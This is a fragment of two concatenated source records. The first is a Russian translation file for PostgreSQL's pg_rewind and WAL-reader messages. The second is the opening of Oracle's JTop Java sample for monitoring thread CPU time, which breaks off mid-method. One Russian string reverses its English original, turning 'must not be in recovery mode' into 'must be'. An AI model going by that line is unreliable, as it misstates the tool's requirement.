\"could not remove file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось стереть файл \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:195\n#, c-format\nmsgid \"could not open file \\\"%s\\\" for truncation: %s\\n\"\nmsgstr \"не удалось открыть файл \\\"%s\\\" для усечения: %s\\n\"\n\n#: file_ops.c:199\n#, c-format\nmsgid \"could not truncate file \\\"%s\\\" to %u: %s\\n\"\nmsgstr \"не удалось усечь файл \\\"%s\\\" до нужного размера (%u): %s\\n\"\n\n#: file_ops.c:215\n#, c-format\nmsgid \"could not create directory \\\"%s\\\": %s\\n\"\nmsgstr \"создать каталог \\\"%s\\\" не удалось: %s\\n\"\n\n#: file_ops.c:229\n#, c-format\nmsgid \"could not remove directory \\\"%s\\\": %s\\n\"\nmsgstr \"ошибка при удалении каталога \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:243\n#, c-format\nmsgid \"could not create symbolic link at \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось создать символическую ссылку \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:257\n#, c-format\nmsgid \"could not remove symbolic link \\\"%s\\\": %s\\n\"\nmsgstr \"ошибка при удалении символической ссылки \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:287 file_ops.c:291\n#, c-format\nmsgid \"could not open file \\\"%s\\\" for reading: %s\\n\"\nmsgstr \"не удалось открыть файл \\\"%s\\\" для чтения: %s\\n\"\n\n#: filemap.c:103\n#, c-format\nmsgid \"data file \\\"%s\\\" in source is not a regular file\\n\"\nmsgstr \"файл данных \\\"%s\\\" в источнике не является обычным файлом\\n\"\n\n#: filemap.c:125\n#, c-format\nmsgid \"\\\"%s\\\" is not a directory\\n\"\nmsgstr \"\\\"%s\\\" не является каталогом\\n\"\n\n#: filemap.c:148\n#, c-format\nmsgid \"\\\"%s\\\" is not a symbolic link\\n\"\nmsgstr \"\\\"%s\\\" не является символической ссылкой\\n\"\n\n#: filemap.c:160\n#, c-format\nmsgid \"\\\"%s\\\" is not a regular file\\n\"\nmsgstr \"\\\"%s\\\" не является обычным файлом\\n\"\n\n#: filemap.c:278\n#, c-format\nmsgid \"source file list is empty\\n\"\nmsgstr \"список файлов в источнике пуст\\n\"\n\n#: filemap.c:400\n#, c-format\nmsgid \"unexpected page modification for directory or symbolic link \\\"%s\\\"\\n\"\nmsgstr \"\"\n\"неожиданная модификация страницы для каталога или символической ссылки \\\"%s\"\n\"\\\"\\n\"\n\n#. translator: first %s is a file path, second is a keyword such as COPY\n#: filemap.c:536\n#, c-format\nmsgid \"%s (%s)\\n\"\nmsgstr \"%s (%s)\\n\"\n\n#: libpq_fetch.c:55\n#, c-format\nmsgid \"could not connect to server: %s\"\nmsgstr \"не удалось подключиться к серверу: %s\"\n\n#: libpq_fetch.c:58\n#, c-format\nmsgid \"connected to server\\n\"\nmsgstr \"подключение к серверу установлено\\n\"\n\n#: libpq_fetch.c:68\n#, c-format\nmsgid \"source server must not be in recovery mode\\n\"\nmsgstr \"исходный сервер должен быть в режиме восстановления\\n\"\n\n#: libpq_fetch.c:78\n#, c-format\nmsgid \"full_page_writes must be enabled in the source server\\n\"\nmsgstr \"на исходном сервере должен быть включён режим full_page_writes\\n\"\n\n#: libpq_fetch.c:90\n#, c-format\nmsgid \"could not set up connection context: %s\"\nmsgstr \"не удалось настроить контекст подключения: %s\"\n\n#: libpq_fetch.c:108\n#, c-format\nmsgid \"error running query (%s) in source server: %s\"\nmsgstr \"ошибка выполнения запроса (%s) на исходном сервере: %s\"\n\n#: libpq_fetch.c:113\n#, c-format\nmsgid \"unexpected result set from query\\n\"\nmsgstr \"неожиданный результат запроса\\n\"\n\n#: libpq_fetch.c:136\n#, c-format\nmsgid \"unrecognized result \\\"%s\\\" for current WAL insert location\\n\"\nmsgstr \"\"\n\"нераспознанный результат \\\"%s\\\" вместо текущей позиции добавления в WAL\\n\"\n\n#: libpq_fetch.c:186\n#, c-format\nmsgid \"could not fetch file list: %s\"\nmsgstr \"не удалось получить список файлов: %s\"\n\n#: libpq_fetch.c:191\n#, c-format\nmsgid \"unexpected result set while fetching file list\\n\"\nmsgstr \"неожиданный результат при получении списка файлов\\n\"\n\n#: libpq_fetch.c:239\n#, c-format\nmsgid \"could not send query: %s\"\nmsgstr \"не удалось отправить запрос: %s\"\n\n#: libpq_fetch.c:241\n#, c-format\nmsgid \"getting file chunks\\n\"\nmsgstr \"получение сегментов файлов\\n\"\n\n#: libpq_fetch.c:244\n#, c-format\nmsgid \"could not set libpq connection to single row mode\\n\"\nmsgstr \"не удалось перевести подключение libpq в однострочный режим\\n\"\n\n#: libpq_fetch.c:264\n#, c-format\nmsgid \"unexpected result while fetching remote files: %s\"\nmsgstr \"неожиданный результат при получении удалённых файлов: %s\"\n\n#: libpq_fetch.c:270\n#, c-format\nmsgid \"unexpected result set size while fetching remote files\\n\"\nmsgstr \"неожиданный размер набора результатов при получении удалённых файлов\\n\"\n\n#: libpq_fetch.c:276\n#, c-format\nmsgid \"\"\n\"unexpected data types in result set while fetching remote files: %u %u %u\\n\"\nmsgstr \"\"\n\"неожиданные типы данных в наборе результатов при получении удалённых файлов: \"\n\"%u %u %u\\n\"\n\n#: libpq_fetch.c:284\n#, c-format\nmsgid \"unexpected result format while fetching remote files\\n\"\nmsgstr \"неожиданный формат результата при получении удалённых файлов\\n\"\n\n#: libpq_fetch.c:290\n#, c-format\nmsgid \"unexpected null values in result while fetching remote files\\n\"\nmsgstr \"\"\n\"неожиданные значения NULL в результате при получении удалённых файлов\\n\"\n\n#: libpq_fetch.c:294\n#, c-format\nmsgid \"unexpected result length while fetching remote files\\n\"\nmsgstr \"неожиданная длина результата при получении удалённых файлов\\n\"\n\n#: libpq_fetch.c:316\n#, c-format\nmsgid \"received null value for chunk for file \\\"%s\\\", file has been deleted\\n\"\nmsgstr \"для файла \\\"%s\\\" вместо сегмента получено NULL-значение, файл удалён\\n\"\n\n#: libpq_fetch.c:323\n#, c-format\nmsgid \"received chunk for file \\\"%s\\\", offset %d, size %d\\n\"\nmsgstr \"получен сегмент файла \\\"%s\\\": смещение %d, размер %d\\n\"\n\n#: libpq_fetch.c:352\n#, c-format\nmsgid \"could not fetch remote file \\\"%s\\\": %s\"\nmsgstr \"не удалось получить удалённый файл \\\"%s\\\": %s\"\n\n#: libpq_fetch.c:357\n#, c-format\nmsgid \"unexpected result set while fetching remote file \\\"%s\\\"\\n\"\nmsgstr \"неожиданный набор результатов при получении удалённого файла \\\"%s\\\"\\n\"\n\n#: libpq_fetch.c:368\n#, c-format\nmsgid \"fetched file \\\"%s\\\", length %d\\n\"\nmsgstr \"получен файл \\\"%s\\\", длина %d\\n\"\n\n#: libpq_fetch.c:400\n#, c-format\nmsgid \"could not send COPY data: %s\"\nmsgstr \"не удалось отправить данные COPY: %s\"\n\n#: libpq_fetch.c:426\n#, c-format\nmsgid \"could not create temporary table: %s\"\nmsgstr \"не удалось создать временную таблицу: %s\"\n\n#: libpq_fetch.c:434\n#, c-format\nmsgid \"could not send file list: %s\"\nmsgstr \"не удалось отправить список файлов: %s\"\n\n#: libpq_fetch.c:476\n#, c-format\nmsgid \"could not send end-of-COPY: %s\"\nmsgstr \"не удалось отправить сообщение о завершении копирования: %s\"\n\n#: libpq_fetch.c:482\n#, c-format\nmsgid \"unexpected result while sending file list: %s\"\nmsgstr \"неожиданный результат при передаче списка: %s\"\n\n#: logging.c:57\nmsgid \"Failure, exiting\\n\"\nmsgstr \"Ошибка, выполняется выход\\n\"\n\n#: logging.c:140\n#, c-format\nmsgid \"%*s/%s kB (%d%%) copied\"\nmsgstr \"%*s/%s КБ (%d%%) скопировано\"\n\n#: parsexlog.c:87 parsexlog.c:133\n#, c-format\nmsgid \"could not read WAL record at %X/%X: %s\\n\"\nmsgstr \"не удалось прочитать запись WAL в позиции %X/%X: %s\\n\"\n\n#: parsexlog.c:91 parsexlog.c:136\n#, c-format\nmsgid \"could not read WAL record at %X/%X\\n\"\nmsgstr \"не удалось прочитать запись WAL в позиции %X/%X\\n\"\n\n#: parsexlog.c:191\n#, c-format\nmsgid \"could not find previous WAL record at %X/%X: %s\\n\"\nmsgstr \"не удалось найти предыдущую запись WAL в позиции %X/%X: %s\\n\"\n\n#: parsexlog.c:195\n#, c-format\nmsgid \"could not find previous WAL record at %X/%X\\n\"\nmsgstr \"не удалось найти предыдущую запись WAL в позиции %X/%X\\n\"\n\n#: parsexlog.c:283\n#, c-format\nmsgid \"could not open file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось открыть файл \\\"%s\\\": %s\\n\"\n\n#: parsexlog.c:297\n#, c-format\nmsgid \"could not seek in file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось переместиться в файле \\\"%s\\\": %s\\n\"\n\n#: parsexlog.c:304\n#, c-format\nmsgid \"could not read from file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось прочитать файл \\\"%s\\\": %s\\n\"\n\n#: parsexlog.c:372\n#, c-format\nmsgid \"\"\n\"WAL record modifies a relation, but record type is not recognized\\n\"\n\"lsn: %X/%X, rmgr: %s, info: %02X\\n\"\nmsgstr \"\"\n\"Запись WAL модифицирует отношение, но тип записи не распознан\\n\"\n\"lsn: %X/%X, rmgr: %s, info: %02X\\n\"\n\n#: pg_rewind.c:64\n#, c-format\nmsgid \"\"\n\"%s resynchronizes a PostgreSQL cluster with another copy of the cluster.\\n\"\n\"\\n\"\nmsgstr \"\"\n\"%s синхронизирует кластер PostgreSQL с другой копией кластера.\\n\"\n\"\\n\"\n\n#: pg_rewind.c:65\n#, c-format\nmsgid \"\"\n\"Usage:\\n\"\n\" %s [OPTION]...\\n\"\n\"\\n\"\nmsgstr \"\"\n\"Пример запуска:\\n\"\n\" %s [ПАРАМЕТР]...\\n\"\n\"\\n\"\n\n#: pg_rewind.c:66\n#, c-format\nmsgid \"Options:\\n\"\nmsgstr \"Параметры:\\n\"\n\n#: pg_rewind.c:67\n#, c-format\nmsgid \" -D, --target-pgdata=DIRECTORY existing data directory to modify\\n\"\nmsgstr \"\"\n\" -D, --target-pgdata=КАТАЛОГ существующий каталог, куда будут записаны \"\n\"данные\\n\"\n\n#: pg_rewind.c:68\n#, c-format\nmsgid \"\"\n\" --source-pgdata=DIRECTORY source data directory to synchronize with\\n\"\nmsgstr \"\"\n\" --source-pgdata=КАТАЛОГ исходный каталог, с которым будет проведена \"\n\"синхронизация\\n\"\n\n# well-spelled: ПОДКЛ\n#: pg_rewind.c:69\n#, c-format\nmsgid \" --source-server=CONNSTR source server to synchronize with\\n\"\nmsgstr \"\"\n\" --source-server=СТР_ПОДКЛ сервер, с которым будет проведена \"\n\"синхронизация\\n\"\n\n#: pg_rewind.c:70\n#, c-format\nmsgid \" -n, --dry-run stop before modifying anything\\n\"\nmsgstr \"\"\n\" -n, --dry-run остановиться до внесения каких-либо \"\n\"изменений\\n\"\n\n#: pg_rewind.c:71\n#, c-format\nmsgid \" -P, --progress write progress messages\\n\"\nmsgstr \" -P, --progress выводить сообщения о ходе процесса\\n\"\n\n#: pg_rewind.c:72\n#, c-format\nmsgid \" --debug write a lot of debug messages\\n\"\nmsgstr \"\"\n\" --debug выдавать множество отладочных сообщений\\n\"\n\n#: pg_rewind.c:73\n#, c-format\nmsgid \"\"\n\" -V, --version output version information, then exit\\n\"\nmsgstr \" -V, --version показать версию и выйти\\n\"\n\n#: pg_rewind.c:74\n#, c-format\nmsgid \" -?, --help show this help, then exit\\n\"\nmsgstr \" -?, --help показать эту справку и выйти\\n\"\n\n#: pg_rewind.c:75\n#, c-format\nmsgid \"\"\n\"\\n\"\n\"Report bugs to .\\n\"\nmsgstr \"\"\n\"\\n\"\n\"Об ошибках сообщайте по адресу .\\n\"\n\n#: pg_rewind.c:130 pg_rewind.c:161 pg_rewind.c:168 pg_rewind.c:175\n#: pg_rewind.c:183\n#, c-format\nmsgid \"Try \\\"%s --help\\\" for more information.\\n\"\nmsgstr \"Для дополнительной информации попробуйте \\\"%s --help\\\".\\n\"\n\n#: pg_rewind.c:160\n#, c-format\nmsgid \"%s: no source specified (--source-pgdata or --source-server)\\n\"\nmsgstr \"\"\n\"%s: источник не указан (требуется --source-pgdata или --source-server)\\n\"\n\n#: pg_rewind.c:167\n#, c-format\nmsgid \"%s: only one of --source-pgdata or --source-server can be specified\\n\"\nmsgstr \"%s: указать можно только --source-pgdata либо --source-server\\n\"\n\n#: pg_rewind.c:174\n#, c-format\nmsgid \"%s: no target data directory specified (--target-pgdata)\\n\"\nmsgstr \"%s: целевой каталог данных не указан (--target-pgdata)\\n\"\n\n#: pg_rewind.c:181\n#, c-format\nmsgid \"%s: too many command-line arguments (first is \\\"%s\\\")\\n\"\nmsgstr \"%s: слишком много аргументов командной строки (первый: \\\"%s\\\")\\n\"\n\n#: pg_rewind.c:196\n#, c-format\nmsgid \"cannot be executed by \\\"root\\\"\\n\"\nmsgstr \"программу не должен запускать root\\n\"\n\n#: pg_rewind.c:197\n#, c-format\nmsgid \"You must run %s as the PostgreSQL superuser.\\n\"\nmsgstr \"Запускать %s нужно от имени суперпользователя PostgreSQL.\\n\"\n\n#: pg_rewind.c:228\n#, c-format\nmsgid \"source and target cluster are on the same timeline\\n\"\nmsgstr \"исходный и целевой кластер уже на одной линии времени\\n\"\n\n#: pg_rewind.c:234\n#, c-format\nmsgid \"servers diverged at WAL position %X/%X on timeline %u\\n\"\nmsgstr \"Серверы разошлись в позиции WAL %X/%X на линии времени %u.\\n\"\n\n#: pg_rewind.c:271\n#, c-format\nmsgid \"no rewind required\\n\"\nmsgstr \"перемотка не требуется.\\n\"\n\n#: pg_rewind.c:278\n#, c-format\nmsgid \"rewinding from last common checkpoint at %X/%X on timeline %u\\n\"\nmsgstr \"\"\n\"перемотка от последней общей контрольной точки в позиции %X/%X на линии \"\n\"времени %u\\n\"\n\n#: pg_rewind.c:286\n#, c-format\nmsgid \"reading source file list\\n\"\nmsgstr \"чтение списка исходных файлов\\n\"\n\n#: pg_rewind.c:288\n#, c-format\nmsgid \"reading target file list\\n\"\nmsgstr \"чтение списка целевых файлов\\n\"\n\n#: pg_rewind.c:298\n#, c-format\nmsgid \"reading WAL in target\\n\"\nmsgstr \"чтение WAL в целевом кластере\\n\"\n\n#: pg_rewind.c:315\n#, c-format\nmsgid \"need to copy %lu MB (total source directory size is %lu MB)\\n\"\nmsgstr \"\"\n\"требуется скопировать %lu МБ (общий размер исходного каталога: %lu МБ)\\n\"\n\n#: pg_rewind.c:332\n#, c-format\nmsgid \"\"\n\"\\n\"\n\"creating backup label and updating control file\\n\"\nmsgstr \"\"\n\"\\n\"\n\"создание метки копии и модификация управляющего файла\\n\"\n\n#: pg_rewind.c:360\n#, c-format\nmsgid \"syncing target data directory\\n\"\nmsgstr \"синхронизация целевого каталога данных\\n\"\n\n#: pg_rewind.c:363\n#, c-format\nmsgid \"Done!\\n\"\nmsgstr \"Готово!\\n\"\n\n#: pg_rewind.c:375\n#, c-format\nmsgid \"source and target clusters are from different systems\\n\"\nmsgstr \"исходный и целевой кластеры относятся к разным системам\\n\"\n\n#: pg_rewind.c:383\n#, c-format\nmsgid \"clusters are not compatible with this version of pg_rewind\\n\"\nmsgstr \"кластеры несовместимы с этой версией pg_rewind\\n\"\n\n#: pg_rewind.c:393\n#, c-format\nmsgid \"\"\n\"target server needs to use either data checksums or \\\"wal_log_hints = on\\\"\\n\"\nmsgstr \"\"\n\"на целевом сервере должны быть контрольные суммы данных или \\\"wal_log_hints \"\n\"= on\\\"\\n\"\n\n#: pg_rewind.c:404\n#, c-format\nmsgid \"target server must be shut down cleanly\\n\"\nmsgstr \"целевой сервер должен быть выключен штатно\\n\"\n\n#: pg_rewind.c:414\n#, c-format\nmsgid \"source data directory must be shut down cleanly\\n\"\nmsgstr \"работа с исходным каталогом данных должна быть завершена штатно\\n\"\n\n#: pg_rewind.c:469\n#, c-format\nmsgid \"invalid control file\"\nmsgstr \"неверный управляющий файл\"\n\n#: pg_rewind.c:480\n#, c-format\nmsgid \"Source timeline history:\\n\"\nmsgstr \"История линии времени источника:\\n\"\n\n#: pg_rewind.c:482\n#, c-format\nmsgid \"Target timeline history:\\n\"\nmsgstr \"История линии времени получателя:\\n\"\n\n#. translator: %d is a timeline number, others are LSN positions\n#: pg_rewind.c:496\n#, c-format\nmsgid \"%d: %X/%X - %X/%X\\n\"\nmsgstr \"%d: %X/%X - %X/%X\\n\"\n\n#: pg_rewind.c:555\n#, c-format\nmsgid \"\"\n\"could not find common ancestor of the source and target cluster's timelines\\n\"\nmsgstr \"\"\n\"не удалось найти общего предка линий времени исходного и целевого кластеров\\n\"\n\n#: pg_rewind.c:596\n#, c-format\nmsgid \"backup label buffer too small\\n\"\nmsgstr \"буфер для метки копии слишком мал\\n\"\n\n#: pg_rewind.c:619\n#, c-format\nmsgid \"unexpected control file CRC\\n\"\nmsgstr \"неверная контрольная сумма управляющего файла\\n\"\n\n#: pg_rewind.c:629\n#, c-format\nmsgid \"unexpected control file size %d, expected %d\\n\"\nmsgstr \"неверный размер управляющего файла (%d), ожидалось: %d\\n\"\n\n#: pg_rewind.c:696\n#, c-format\nmsgid \"\"\n\"The program \\\"initdb\\\" is needed by %s but was\\n\"\n\"not found in the same directory as \\\"%s\\\".\\n\"\n\"Check your installation.\\n\"\nmsgstr \"\"\n\"Для %s необходима программа \\\"initdb\\\", но она не найдена\\n\"\n\"в каталоге \\\"%s\\\".\\n\"\n\"Проверьте правильность установки СУБД.\\n\"\n\n#: pg_rewind.c:700\n#, c-format\nmsgid \"\"\n\"The program \\\"initdb\\\" was found by \\\"%s\\\"\\n\"\n\"but was not the same version as %s.\\n\"\n\"Check your installation.\\n\"\nmsgstr \"\"\n\"Программа \\\"initdb\\\" найдена в \\\"%s\\\",\\n\"\n\"но её версия отличается от версии %s.\\n\"\n\"Проверьте правильность установки СУБД.\\n\"\n\n#: pg_rewind.c:718\n#, c-format\nmsgid \"sync of target directory failed\\n\"\nmsgstr \"сбой синхронизации целевого каталога\\n\"\n\n#: timeline.c:76 timeline.c:82\n#, c-format\nmsgid \"syntax error in history file: %s\\n\"\nmsgstr \"синтаксическая ошибка в файле истории: %s\\n\"\n\n#: timeline.c:77\n#, c-format\nmsgid \"Expected a numeric timeline ID.\\n\"\nmsgstr \"Ожидается числовой идентификатор линии времени.\\n\"\n\n#: timeline.c:83\n#, c-format\nmsgid \"Expected a transaction log switchpoint location.\\n\"\nmsgstr \"Ожидается положение точки переключения журнала транзакций.\\n\"\n\n#: timeline.c:88\n#, c-format\nmsgid \"invalid data in history file: %s\\n\"\nmsgstr \"неверные данные в файле истории: %s\\n\"\n\n#: timeline.c:89\n#, c-format\nmsgid \"Timeline IDs must be in increasing sequence.\\n\"\nmsgstr \"Идентификаторы линий времени должны возрастать.\\n\"\n\n#: timeline.c:109\n#, c-format\nmsgid \"invalid data in history file\\n\"\nmsgstr \"неверные данные в файле истории\\n\"\n\n#: timeline.c:110\n#, c-format\nmsgid \"Timeline IDs must be less than child timeline's ID.\\n\"\nmsgstr \"\"\n\"Идентификаторы линий времени должны быть меньше идентификатора линии-\"\n\"потомка.\\n\"\n\n#: xlogreader.c:276\n#, c-format\nmsgid \"invalid record offset at %X/%X\"\nmsgstr \"неверное смещение записи: %X/%X\"\n\n#: xlogreader.c:284\n#, c-format\nmsgid \"contrecord is requested by %X/%X\"\nmsgstr \"по смещению %X/%X запрошено продолжение записи\"\n\n#: xlogreader.c:325 xlogreader.c:625\n#, c-format\nmsgid \"invalid record length at %X/%X: wanted %u, got %u\"\nmsgstr \"неверная длина записи по смещению %X/%X: ожидалось %u, получено %u\"\n\n#: xlogreader.c:340\n#, c-format\nmsgid \"record length %u at %X/%X too long\"\nmsgstr \"длина записи %u по смещению %X/%X слишком велика\"\n\n#: xlogreader.c:381\n#, c-format\nmsgid \"there is no contrecord flag at %X/%X\"\nmsgstr \"нет флага contrecord в позиции %X/%X\"\n\n#: xlogreader.c:394\n#, c-format\nmsgid \"invalid contrecord length %u at %X/%X\"\nmsgstr \"неверная длина contrecord (%u) в позиции %X/%X\"\n\n#: xlogreader.c:633\n#, c-format\nmsgid \"invalid resource manager ID %u at %X/%X\"\nmsgstr \"неверный ID менеджера ресурсов %u по смещению %X/%X\"\n\n#: xlogreader.c:647 xlogreader.c:664\n#, c-format\nmsgid \"record with incorrect prev-link %X/%X at %X/%X\"\nmsgstr \"запись с неверной ссылкой назад %X/%X по смещению %X/%X\"\n\n#: xlogreader.c:701\n#, c-format\nmsgid \"incorrect resource manager data checksum in record at %X/%X\"\nmsgstr \"\"\n\"некорректная контрольная сумма данных менеджера ресурсов в записи по \"\n\"смещению %X/%X\"\n\n#: xlogreader.c:734\n#, c-format\nmsgid \"invalid magic number %04X in log segment %s, offset %u\"\nmsgstr \"неверное магическое число %04X в сегменте журнала %s, смещение %u\"\n\n#: xlogreader.c:748 xlogreader.c:799\n#, c-format\nmsgid \"invalid info bits %04X in log segment %s, offset %u\"\nmsgstr \"неверные информационные биты %04X в сегменте журнала %s, смещение %u\"\n\n#: xlogreader.c:774\n#, c-format\nmsgid \"\"\n\"WAL file is from different database system: WAL file database system \"\n\"identifier is %s, pg_control database system identifier is %s\"\nmsgstr \"\"\n\"файл WAL принадлежит другой СУБД: в нём указан идентификатор системы БД %s, \"\n\"а идентификатор системы pg_control: %s\"\n\n#: xlogreader.c:781\n#, c-format\nmsgid \"\"\n\"WAL file is from different database system: incorrect XLOG_SEG_SIZE in page \"\n\"header\"\nmsgstr \"\"\n\"файл WAL принадлежит другой СУБД: некорректный XLOG_SEG_SIZE в заголовке \"\n\"страницы\"\n\n#: xlogreader.c:787\n#, c-format\nmsgid \"\"\n\"WAL file is from different database system: incorrect XLOG_BLCKSZ in page \"\n\"header\"\nmsgstr \"\"\n\"файл WAL принадлежит другой СУБД: некорректный XLOG_BLCKSZ в заголовке \"\n\"страницы\"\n\n#: xlogreader.c:813\n#, c-format\nmsgid \"unexpected pageaddr %X/%X in log segment %s, offset %u\"\nmsgstr \"неожиданный pageaddr %X/%X в сегменте журнала %s, смещение %u\"\n\n#: xlogreader.c:838\n#, c-format\nmsgid \"out-of-sequence timeline ID %u (after %u) in log segment %s, offset %u\"\nmsgstr \"\"\n\"нарушение последовательности ID линии времени %u (после %u) в сегменте \"\n\"журнала %s, смещение %u\"\n\n#: xlogreader.c:1083\n#, c-format\nmsgid \"out-of-order block_id %u at %X/%X\"\nmsgstr \"идентификатор блока %u идёт не по порядку в позиции %X/%X\"\n\n#: xlogreader.c:1106\n#, c-format\nmsgid \"BKPBLOCK_HAS_DATA set, but no data included at %X/%X\"\nmsgstr \"BKPBLOCK_HAS_DATA установлен, но данных в позиции %X/%X нет\"\n\n#: xlogreader.c:1113\n#, c-format\nmsgid \"BKPBLOCK_HAS_DATA not set, but data length is %u at %X/%X\"\nmsgstr \"\"\n\"BKPBLOCK_HAS_DATA не установлен, но длина данных равна %u в позиции %X/%X\"\n\n#: xlogreader.c:1149\n#, c-format\nmsgid \"\"\n\"BKPIMAGE_HAS_HOLE set, but hole offset %u length %u block image length %u at \"\n\"%X/%X\"\nmsgstr \"\"\n\"BKPIMAGE_HAS_HOLE установлен, но для пропуска заданы смещение %u и длина %u \"\n\"при длине образа блока %u в позиции %X/%X\"\n\n#: xlogreader.c:1165\n#, c-format\nmsgid \"BKPIMAGE_HAS_HOLE not set, but hole offset %u length %u at %X/%X\"\nmsgstr \"\"\n\"BKPIMAGE_HAS_HOLE не установлен, но для пропуска заданы смещение %u и длина \"\n\"%u в позиции %X/%X\"\n\n#: xlogreader.c:1180\n#, c-format\nmsgid \"BKPIMAGE_IS_COMPRESSED set, but block image length %u at %X/%X\"\nmsgstr \"\"\n\"BKPIMAGE_IS_COMPRESSED установлен, но длина образа блока равна %u в позиции \"\n\"%X/%X\"\n\n#: xlogreader.c:1195\n#, c-format\nmsgid \"\"\n\"neither BKPIMAGE_HAS_HOLE nor BKPIMAGE_IS_COMPRESSED set, but block image \"\n\"length is %u at %X/%X\"\nmsgstr \"\"\n\"ни BKPIMAGE_HAS_HOLE, ни BKPIMAGE_IS_COMPRESSED не установлены, но длина \"\n\"образа блока равна %u в позиции %X/%X\"\n\n#: xlogreader.c:1211\n#, c-format\nmsgid \"BKPBLOCK_SAME_REL set but no previous rel at %X/%X\"\nmsgstr \"\"\n\"BKPBLOCK_SAME_REL установлен, но предыдущее значение не задано в позиции %X/\"\n\"%X\"\n\n#: xlogreader.c:1223\n#, c-format\nmsgid \"invalid block_id %u at %X/%X\"\nmsgstr \"неверный идентификатор блока %u в позиции %X/%X\"\n\n#: xlogreader.c:1291\n#, c-format\nmsgid \"record with invalid length at %X/%X\"\nmsgstr \"запись с неверной длиной в позиции %X/%X\"\n\n#: xlogreader.c:1380\n#, c-format\nmsgid \"invalid compressed image at %X/%X, block %d\"\nmsgstr \"неверный сжатый образ в позиции %X/%X, блок %d\"\n"} +{"text": "/*\n * Copyright (c) 2005, 2013, Oracle and/or its affiliates. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * - Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * - Neither the name of Oracle nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n/*\n * This source code is provided to illustrate the usage of a given feature\n * or technique and has been deliberately simplified. Additional steps\n * required for a production-quality application, such as security checks,\n * input validation and proper error handling, might not be present in\n * this sample code.\n */\n\n\n/*\n *\n * Example of using the java.lang.management API to sort threads\n * by CPU usage.\n *\n * JTop class can be run as a standalone application.\n * It first establishs a connection to a target VM specified\n * by the given hostname and port number where the JMX agent\n * to be connected. It then polls for the thread information\n * and the CPU consumption of each thread to display every 2\n * seconds.\n *\n * It is also used by JTopPlugin which is a JConsolePlugin\n * that can be used with JConsole (see README.txt). The JTop\n * GUI will be added as a JConsole tab by the JTop plugin.\n *\n * @see com.sun.tools.jconsole.JConsolePlugin\n *\n * @author Mandy Chung\n */\nimport java.lang.management.*;\nimport javax.management.*;\nimport javax.management.remote.*;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.SortedMap;\nimport java.util.Timer;\nimport java.util.TimerTask;\nimport java.util.TreeMap;\nimport java.util.concurrent.ExecutionException;\nimport java.text.NumberFormat;\nimport java.net.MalformedURLException;\nimport static java.lang.management.ManagementFactory.*;\n\nimport java.awt.*;\nimport javax.swing.*;\nimport javax.swing.border.*;\nimport javax.swing.table.*;\n\n/**\n * JTop is a JPanel to display thread's name, CPU time, and its state\n * in a table.\n */\npublic class JTop extends JPanel {\n\n private static class StatusBar extends JPanel {\n private static final long serialVersionUID = -6483392381797633018L;\n private final JLabel statusText;\n\n public StatusBar(boolean defaultVisible) {\n super(new GridLayout(1, 1));\n statusText = new JLabel();\n statusText.setVisible(defaultVisible);\n add(statusText);\n }\n\n @Override\n public Dimension getMaximumSize() {\n Dimension maximum = super.getMaximumSize();\n Dimension minimum = getMinimumSize();\n return new Dimension(maximum.width, minimum.height);\n }\n\n public void setMessage(String text) {\n statusText.setText(text);\n statusText.setVisible(true);\n }\n }\n private static final long serialVersionUID = -1499762160973870696L;\n private MBeanServerConnection server;\n private ThreadMXBean tmbean;\n private MyTableModel tmodel;\n private final StatusBar statusBar;\n public JTop() {\n super(new GridBagLayout());\n\n tmodel = new MyTableModel();\n JTable table = new JTable(tmodel);\n table.setPreferredScrollableViewportSize(new Dimension(500, 300));\n\n // Set the renderer to format Double\n table.setDefaultRenderer(Double.class, new DoubleRenderer());\n // Add some space\n table.setIntercellSpacing(new Dimension(6,3));\n table.setRowHeight(table.getRowHeight() + 4);\n\n // Create the scroll pane and add the table to it.\n JScrollPane scrollPane = new JScrollPane(table);\n\n // Add the scroll pane to this panel.\n GridBagConstraints c1 = new GridBagConstraints();\n c1.fill = GridBagConstraints.BOTH;\n c1.gridy = 0;\n c1.gridx = 0;\n c1.weightx = 1;\n c1.weighty = 1;\n add(scrollPane, c1);\n\n statusBar = new StatusBar(false);\n GridBagConstraints c2 = new GridBagConstraints();\n c2.fill = GridBagConstraints.HORIZONTAL;\n c2.gridy = 1;\n c2.gridx = 0;\n c2.weightx = 1.0;\n c2.weighty = 0.0;\n add(statusBar, c2);\n }\n\n // Set the MBeanServerConnection object for communicating\n // with the target VM\n public void setMBeanServerConnection(MBeanServerConnection mbs) {\n this.server = 